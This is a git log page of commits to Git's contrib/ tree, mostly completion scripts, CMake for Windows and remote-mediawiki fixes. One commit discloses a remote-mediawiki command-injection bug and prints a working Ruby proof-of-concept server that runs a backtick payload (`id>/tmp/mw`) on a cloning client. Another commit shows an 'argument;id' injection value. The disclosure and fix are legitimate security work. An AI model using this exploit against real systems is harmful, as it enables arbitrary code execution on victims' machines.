summaryrefslogtreecommitdiff
path: root/contrib
AgeCommit message (Collapse)AuthorFilesLines
2020-12-07completion: bash: fix gitk alias regressionLibravatar Felipe Contreras1-1/+1
Long time ago when the _git_complete helper was introduced, _gitk was replaced with __gitk_main, and a placeholder for backwards compatibility pointing to __git_wrap_main_gitk was left in place. When "__git_complete gitk __gitk_main" was called, that created the __git_wrap__gitk_main helper, which is just basically "__git_func_wrap __gitk_main" plus `complete` options. Unfortunately the commit b0a4b2d257 (completion: add support for backwards compatibility, 2012-05-19) missed a previous instance of a call to _gitk in _git_gitk So, basically we had __git_wrap__git_main -> __git_func_wrap __git_main -> __git_complete_command gitk -> _git_gitk -> _gitk -> __git_wrap__gitk_main -> __git_func_wrap __gitk_main -> __gitk_main. There was never any need to call __git_func_wrap twice. Since _git_gitk is always called inside the wrapper, it can call __gitk_main directly. And then, in commit 441ecdab37 (completion: bash: remove old compat wrappers, 2020-10-27) _gitk was removed, which triggers the following error: _git_gitk:9: command not found: _gitk Let's call the correct function: __gitk_main. Cc: SZEDER Gábor <szeder.dev@gmail.com> Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-12-01completion: zsh: fix file completion regressionLibravatar Felipe Contreras1-0/+1
Turns out we always need to set the ignored prefix (compset) to have similar behavior as in default Bash. The issue can be seen with: git show master:<tab> Commit 94b2901cfe wrongly removed it. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28zsh: update copyright noticesLibravatar Felipe Contreras1-1/+1
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: bash: remove old compat wrappersLibravatar Felipe Contreras1-12/+0
It's been eight years, more than enough time to move on. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: bash: cleanup cygwin checkLibravatar Felipe Contreras1-2/+2
Avoid Yoda conditions, and use $OSTYPE. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: bash: trivial cleanupLibravatar Felipe Contreras1-7/+6
There's no need to set a variable we are not going to use. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: add simple version checkLibravatar Felipe Contreras1-0/+5
A lot of people are confused about which completion script they are using; Zsh's Git script, or Git's Zsh script. Add a simple helper so they can type 'git zsh<tab>' and find out if they are running the correct one: this. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: trivial simplificationLibravatar Felipe Contreras1-1/+1
>From upstream bash simplification: d9ee1e0617 (completion: simplify inner 'case' pattern in __gitcomp()) Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: add alias descriptionsLibravatar Felipe Contreras1-2/+3
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: improve command tagsLibravatar Felipe Contreras1-4/+7
There's no need to use _alternative and repeat a lot of the code. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: refactor command completionLibravatar Felipe Contreras1-4/+16
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: shuffle functions aroundLibravatar Felipe Contreras1-12/+12
Just to have a nice order. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: simplify file_directLibravatar Felipe Contreras1-3/+1
It's exactly the same as __gitcomp_file() with no prefix. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: simplify nl_appendLibravatar Felipe Contreras1-4/+1
It's exactly the same as __gitcomp_nl(), no need to duplicate code. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: trivial cleanupLibravatar Felipe Contreras1-1/+1
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: simplify direct compaddLibravatar Felipe Contreras1-1/+1
Instead of manually removing the suffix so zsh can add its own, we can tell zsh to add no suffix, so we don't have to remove it. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: simplify compadd functionsLibravatar Felipe Contreras1-10/+5
We don't need to override IFS, zsh has a native way of splitting by new lines: the expansion flag (f). Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: fix splitting of wordsLibravatar Felipe Contreras1-2/+1
Files don't need to be split by '=:', words do. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: add missing direct_appendLibravatar Felipe Contreras1-0/+5
Commit 688077910b forgot to add the corresponding zsh function. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: fix conflict with bashcompLibravatar Felipe Contreras1-6/+4
We don't want to override the 'complete()' function in zsh, which can be used by bashcomp. Reported-by: Mark Lodato <lodato@google.com> Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: fix completion for --no-.. optionsLibravatar Felipe Contreras1-0/+22
This was introduced in upstream's bash script, but never in zsh's: b221b5ab9b (completion: collapse extra --no-.. options) It has been failing since v2.19. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: bash: remove zsh wrapperLibravatar Felipe Contreras1-90/+2
It has been deprecated for more than eight years now, it's never up to date, and it's a hassle to maintain. It's time to move on. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: bash: synchronize zsh wrapperLibravatar Felipe Contreras1-0/+8
A function was missing. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: fix for command aliasingLibravatar Felipe Contreras1-1/+5
A lot of people want to define aliases like gc='git commit', and zsh allows that (when not using 'complete_aliases'), but we need to handle services that call a function other than the main one. With this patch we can do: compdef _git gc=git_commit Additionally, add compatibility for Zsh Git functions which have the form git-commit (with dash, not underscore). Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: prompt: fix color for ZshLibravatar Felipe Contreras1-4/+7
We don't need PROMPT_COMMAND in Zsh; we are already using %F{color} %f, which in turn use %{ and %}, which are the equivalent of Bash's \[ and \]. We can use as many colors as we want and output directly into PS1 (or RPS1) without the risk of buffer wrapping issues. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28completion: zsh: update slave script locationsLibravatar Felipe Contreras1-5/+9
Update the default locations of typical system bash-completion, including the default bash-completion location for user scripts, and the recommended way to find the system location (with pkg-config). Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-26completion: zsh: fix for directories with spacesLibravatar Felipe Contreras1-1/+1
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-26completion: zsh: reorganize install instructionsLibravatar Felipe Contreras1-7/+9
Start with the most important thing; the proper location of this script, then follow with the location of the slave script (git-completion.bash). Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-26completion: zsh: fix bash script extensionLibravatar Felipe Contreras1-1/+1
Commit 0e5ed7cca3 wrongly changed the extension of the bash script to .zsh; the zstyle configuration is for the slave script (bash), not the master one (zsh). For example it could be: zstyle ':completion:*:*:git:*' script ~/.git-completion.bash The extension doesn't really matter, but it confuses people into thinking it's a zsh script; it's not. Cc: Peter van der Does <peter@avirtualhome.com> Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-26completion: zsh: fix name due to broken autoloadingLibravatar Felipe Contreras1-3/+5
Commit 176f5adfdb wrongly changed the installation path to '~/.zsh/git-completion.zsh', this ensures the script is not automatically loaded. The whole point of adding the script to the fpath variable is that it's autoloaded after typing 'git<tab>', which won't happen unless it's named _git. I've changed the wording so it's crystal clear the name of the file *must* be '_git'. http://zsh.sourceforge.net/Doc/Release/Completion-System.html#Autoloaded-files Cc: Maxim Belsky <public.belsky@gmail.com> Cc: Johannes Schindelin <Johannes.Schindelin@gmx.de> Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-26completion: zsh: fix __gitcomp_direct()Libravatar Felipe Contreras2-2/+2
Many callers append a space suffix, but zsh automatically appends a space, making the completion add two spaces, for example: git log ma<tab> Will complete 'master '. Let's remove that extra space. Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-05Merge branch 'js/cmake-vs'Libravatar Junio C Hamano1-12/+40
Using the CMake support we added some time ago for real with Visual Studio build revealed there were lot of usability improvements possible, which have been carried out. * js/cmake-vs: hashmap_for_each_entry(): workaround MSVC's runtime check failure #3 cmake (Windows): recommend using Visual Studio's built-in CMake support cmake (Windows): initialize vcpkg/build dependencies automatically cmake (Windows): complain when encountering an unknown compiler cmake (Windows): let the `.dll` files be found when running the tests cmake: quote the path accurately when editing `test-lib.sh` cmake: fall back to using `vcpkg`'s `msgfmt.exe` on Windows cmake: ensure that the `vcpkg` packages are found on Windows cmake: do find Git for Windows' shell interpreter cmake: ignore files generated by CMake as run in Visual Studio
2020-10-04Merge branch 'au/complete-restore-s'Libravatar Junio C Hamano1-34/+39
The command line completion (in contrib/) learned that "git restore -s <TAB>" is often followed by a refname. * au/complete-restore-s: completion: complete refs after 'git restore -s' completion: use "prev" variable instead of introducing "prevword"
2020-10-04Merge branch 'ab/mediawiki-fixes'Libravatar Junio C Hamano13-401/+169
Modernization and fixes to MediaWiki remote backend. * ab/mediawiki-fixes: remote-mediawiki: use "sh" to eliminate unquoted commands remote-mediawiki: annotate unquoted uses of run_git() remote-mediawiki: convert to quoted run_git() invocation remote-mediawiki: provide a list form of run_git() remote-mediawiki tests: annotate failing tests remote-mediawiki: fix duplicate revisions being imported remote-mediawiki tests: use CLI installer remote-mediawiki tests: use inline PerlIO for readability remote-mediawiki tests: replace deprecated Perl construct remote-mediawiki tests: use a more idiomatic dispatch table remote-mediawiki tests: use "$dir/" instead of "$dir." remote-mediawiki tests: change `[]` to `test` remote-mediawiki tests: use test_cmp in tests remote-mediawiki tests: use a 10 character password remote-mediawiki tests: use the login/password variables remote-mediawiki doc: don't hardcode Debian PHP versions remote-mediawiki doc: link to MediaWiki's current version remote-mediawiki doc: correct link to GitHub project
2020-09-30cmake (Windows): recommend using Visual Studio's built-in CMake supportLibravatar Johannes Schindelin1-9/+17
It is a lot more convenient to use than having to specify the configuration in CMake manually (does not matter whether using the command-line or CMake's GUI). While at it, recommend using `contrib/buildsystems/out/` as build directory also in the part that talks about running CMake manually. Helped-by: Junio C Hamano <gitster@pobox.com> Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30cmake (Windows): initialize vcpkg/build dependencies automaticallyLibravatar Johannes Schindelin1-0/+4
The idea of having CMake support in Git's source tree is to enable contributors on Windows to start contributing with little effort. To that end, we just added some sensible defaults that will let users open the worktree in Visual Studio and start building. This expects the dependencies (such as zlib) to be available already, though. If they are not available, we expect the user to run `compat/vcbuild/vcpkg_install.bat`. Rather than requiring this step to be manual, detect the situation and run it as part of the CMake configuration step. Note that this obviously only applies to the scenario when we want to compile in Visual Studio (i.e. with MS Visual C), not with GCC. Therefore, we guard this new code block behind the `MSVC` conditional. This concludes our journey to make it as effortless as possible to start developing Git in Visual Studio: all the developer needs to do is to clone Git's repository, open the worktree via `File>Open>Folder...` and wait for CMake to finish configuring. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30cmake (Windows): complain when encountering an unknown compilerLibravatar Johannes Schindelin1-0/+2
We have some custom handling regarding the link options, which are specific to each compiler. Therefore: let's not just continue without setting the link options if configuring for a currently unhandled compiler, but error out. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30cmake (Windows): let the `.dll` files be found when running the testsLibravatar Johannes Schindelin1-0/+3
Contrary to Unix-ish platforms, the dependencies' shared libraries are not usually found in one central place. In our case, since we use `vcpkg`, they are to be found inside the `compat/vcbuild/vcpkg/` tree. Let's make sure that they are in the search path when running the tests. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30cmake: quote the path accurately when editing `test-lib.sh`Libravatar Johannes Schindelin1-1/+1
By default, the build directory will be called something like `contrib/buildsystems/out/build/x64-Debug (default)` (note the space and the parentheses). We need to make sure that such a path is quoted properly when editing the assignment of the `GIT_BUILD_DIR` variable. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30cmake: fall back to using `vcpkg`'s `msgfmt.exe` on WindowsLibravatar Johannes Schindelin1-1/+5
We are already relying on `vcpkg` to manage our dependencies, including `libiconv`. Let's also use the `msgfmt.exe` from there. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-28cmake: ensure that the `vcpkg` packages are found on WindowsLibravatar Johannes Schindelin1-0/+7
On Windows, we use the `vcpkg` project to manage the dependencies, via `compat/vcbuild/`. Let's make sure that these dependencies are found by default. This is needed because we are about to recommend loading the Git worktree as a folder into Visual Studio, relying on the automatic CMake support (which would make it relatively cumbersome to adjust the search path used by CMake manually). Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-28cmake: do find Git for Windows' shell interpreterLibravatar Johannes Schindelin1-1/+1
By default, Git for Windows does not install its `sh.exe` into the `PATH`. However, our current `CMakeLists.txt` expects to find a shell interpreter in the `PATH`. So let's fall back to looking in the default location where Git for Windows _does_ install a relatively convenient `sh.exe`: `C:\Program Files\Git\bin\sh.exe` Helped-by: Øystein Walle <oystwa@gmail.com> Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-26completion: complete refs after 'git restore -s'Libravatar Ákos Uzonyi1-0/+7
Currently only the long version (--source=) supports completion. Add completion support to the short (-s) option too. Signed-off-by: Ákos Uzonyi <uzonyi.akos@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-26completion: use "prev" variable instead of introducing "prevword"Libravatar Ákos Uzonyi1-34/+32
In both _git_checkout and _git_switch a new "prevword" variable were introduced, however the "prev" variable already contains the last word. The "prevword" variable is replaced with "prev", and the case is moved to the beginning of the function, like it's done in many other places (e.g. _git_commit). Also the indentaion of the case is fixed. Signed-off-by: Ákos Uzonyi <uzonyi.akos@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-25Merge branch 'jk/diff-highlight-blank-match-fix'Libravatar Junio C Hamano1-1/+1
"diff-highlight" (in contrib/) had a logic to flush its output upon seeing a blank line but the way it detected a blank line was broken. * jk/diff-highlight-blank-match-fix: diff-highlight: correctly match blank lines for flush
2020-09-21diff-highlight: correctly match blank lines for flushLibravatar Jeff King1-1/+1
We try to flush the output from diff-highlight whenever we see a blank line. That lets you see the output for each commit as soon as it is generated, even if Git is still chugging away at a diff, or traversing to find the next commit. However, our "blank line" match checks length($_). That won't ever be true, because we haven't chomped the line ending. As a result, we never flush. Instead, let's use a simple regex which handles line endings in with the end-of-line marker. This has been broken since the initial version in 927a13fe87 (contrib: add diff highlight script, 2011-10-18). Probably nobody noticed because: - most output is big enough, or comes fast enough, that it flushes anyway. And it can be difficult to notice the difference between "show a commit, then pause" and "pause, then show two commits". I only noticed because I was viewing "git log" output on a repo with a very slow textconv filter. - if stdout is going to the terminal (and not another pager like less), then the flush isn't necessary. So any manual testing would show it appearing to work. You can easily see the difference with something like: echo '* diff=slow' >>.gitattributes git -c diff.slow.textconv='sleep 1; cat' \ -c pager.log='diff-highlight | less' \ log -p That should generate one commit every second or so (more if it touches multiple files), but without this patch it waits for many seconds before generating several pages of output. Signed-off-by: Jeff King <peff@peff.net> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: use "sh" to eliminate unquoted commandsLibravatar Ævar Arnfjörð Bjarmason1-16/+8
Remove the use of run_git_unquoted() completely with a use of "sh -c" suggested by Jeff King, i.e.: sh -c '"$@" 2>/dev/null' -- echo sneaky 'argument;id' I don't think this is needed now for any potential RCE issue. The $remotename argument is ultimately picked by the local user (and similarly, the $local variable comes from a user-supplied refspec). But completely eliminating the use of unquoted shell arguments has a value in and of itself, by making the code easier to review. As noted in an earlier commit I think the use of IPC::Open3 would be too verbose here, but this "sh -c" trick strikes the right balance between readability and semantic sanity. Suggested-by: Jeff King <peff@peff.net> Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: annotate unquoted uses of run_git()Libravatar Ævar Arnfjörð Bjarmason1-6/+13
Explicitly annotate the invocations of run_git() which don't use quoted arguments. I'm not converting these to run_git_quoted() because these invocations pipe stderr to /dev/null, which the Perl open() API doesn't support. We could do a quoted version of this with IPC::Open3, but I don't think it's worth it to go through that here. Let's instead just mark these sites, and comment on why it's OK to use the variables we're using. This eliminates the last uses of run_git(), so we can remove the alias for it introduced in an earlier commit. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: convert to quoted run_git() invocationLibravatar Ævar Arnfjörð Bjarmason1-23/+26
Change those callsites that are able to call run_safe() with a quoted list of arguments to do so. This fixes a RCE bug in this transport helper reported by Joern Schneeweisz to the git-security mailing list. The issue is being made public due to the relative obscurity of the remote-mediawiki code. The security issue is that we'd execute a command like this via Perl's "open -|", where the $name is taken directly from the api.php response. So that a JSON response of e.g.: [...]"title":"`id>/tmp/mw`:Main Page"[..] Would result in an invocation of: git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace" >From code such as this, which is being changed by this patch: run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}")); So we'd execute an arbitrary command, and also put "remote.origin.namespaceCache=:notANameSpace" in the config. With this change we quote all of this, so now we'll simply write "remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the config, and not execute any remote commands. About the implementation: as noted in [1] (see also [2]) this style of invoking open() has compatibility issues on Windows up to Perl 5.22. However, Johannes Schindelin notes that we shouldn't worry about Windows in this context because (quoting a private E-Mail of his): 1. The mediawiki helper has never been shipped as part of an official Git for Windows version. Neither has it ever been part of an official MSYS2 package. Which means that Windows users who want to use the mediawiki helper have to build Git themselves, which not many users seem to do. 2. The last Git for Windows version to ship with Perl v5.22.x was Git for Windows v2.11.1; Since Git for Windows v2.12.0 (released on February 25th, 2017), only newer Perl versions were included. So let's just use this open() API. Grepping around shows that various other Perl code we ship such as gitweb etc. uses this way of calling open(), so we shouldn't have any issues with compatibility. For further reference and future testing, here's working exploit code provided by Joern: #!/usr/bin/ruby # git client side RCE via `mediawiki` remote proof of concept # Joern Schneeweisz - GitLab Security Research Team require 'sinatra' set bind: '0.0.0.0' if not ARGV[0] puts "Please provide the shell command to be execucted." exit -1 end cmd = ARGV[0] all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd) revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd) mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd) post '/api.php' do if params[:list] == 'allpages' return all_pages end if params[:prop] == 'revisions' return revs end return mainpage end Which: [...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when being cloned with `git clone mediawiki::http://localhost:4567` the file `/tmp/mw` will be created during the clone process, containing the output of `id`. 1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command 2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com> Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: provide a list form of run_git()Libravatar Ævar Arnfjörð Bjarmason1-4/+15
Invoking commands as "git $args" doesn't quote $args. Let's support ["git", $args] as well, and create corresponding run_git_quoted() and run_git_unquoted() aliases for subsequent changes when we move the code over to the new style of invoking this function. At that point we'll delete the then-unused run_git() wrapper. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>